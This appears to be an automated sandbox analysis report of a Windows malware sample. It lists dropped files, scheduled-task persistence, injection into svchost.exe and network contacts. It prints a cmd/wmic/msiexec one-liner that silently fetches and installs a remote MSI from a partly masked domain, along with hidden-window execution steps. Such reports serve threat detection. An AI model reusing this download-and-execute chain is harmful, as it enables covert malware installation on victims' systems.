Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\download http service
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\VRGJZ.bat&echo|set /p="iexec /i http://p2###dia.org/backup.msi /q'" >> %temp%\VRGJZ.bat&%temp%\VRGJZ.bat>%temp%\VRGJZ.txt
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\vrgjz.bat
- %TEMP%\vrgjz.txt
- %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\msiwrapper.ini
- %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files.cab
- %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files\$dpx$.tmp\6d6710b166847f4b822a3cac17420070.tmp
- %PROGRAMDATA%\ジいて.exe
- %APPDATA%\nuiget\ジいて.exe
- %APPDATA%\nuiget\settings.ini
- %WINDIR%\temp\cab5774.tmp
- %WINDIR%\temp\tar5775.tmp
- %WINDIR%\temp\cab57a4.tmp
- %WINDIR%\temp\tar57a5.tmp
- %WINDIR%\temp\cabf945.tmp
- %WINDIR%\temp\tarf946.tmp
Deletes the following files
- %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files\twis4.exe
- %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\msiwrapper.ini
- %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files.cab
- %WINDIR%\temp\cab5774.tmp
- %WINDIR%\temp\tar5775.tmp
- %WINDIR%\temp\cab57a4.tmp
- %WINDIR%\temp\tar57a5.tmp
- %WINDIR%\temp\cabf945.tmp
- %WINDIR%\temp\tarf946.tmp
Moves the following files
- from %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files\$dpx$.tmp\6d6710b166847f4b822a3cac17420070.tmp to %TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files\twis4.exe
Network activity
TCP
HTTP GET requests
- http://p2###dia.org/backup.msi
- http://ip##ho.net/plain
UDP
- DNS ASK p2###dia.org
- DNS ASK ip##ho.net
Miscellaneous
Creates and executes the following
- '%TEMP%\mw-475c5236-33e8-4892-85ac-6dc6a05058b3\files\twis4.exe'
- '%PROGRAMDATA%\ジいて.exe'
- '%APPDATA%\nuiget\ジいて.exe'
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\VRGJZ.bat&echo|set /p="iexec /i http://p2###dia.org/backup.msi /q'" >> %temp%\VRGJZ.bat&%temp%\VRGJZ.bat>%temp%\VRGJZ.txt' (with hidden window)
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (with hidden window)
- '%PROGRAMDATA%\ジいて.exe' ' (with hidden window)
- '<SYSTEM32>\svchost.exe' ' (with hidden window)
- '%APPDATA%\nuiget\ジいて.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="wmic process call create 'ms" 1>%TEMP%\VRGJZ.bat"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="iexec /i http://p2###dia.org/backup.msi /q'" 1>>%TEMP%\VRGJZ.bat"
- '<SYSTEM32>\wbem\wmic.exe' process call create 'msiexec /i http://p2###dia.org/backup.msi /q'
- '<SYSTEM32>\msiexec.exe' /i http://p2###dia.org/backup.msi /q
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
- '%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%TEMP%\MW-475c5236-33e8-4892-85ac-6dc6a05058b3\files"
- '<SYSTEM32>\svchost.exe'
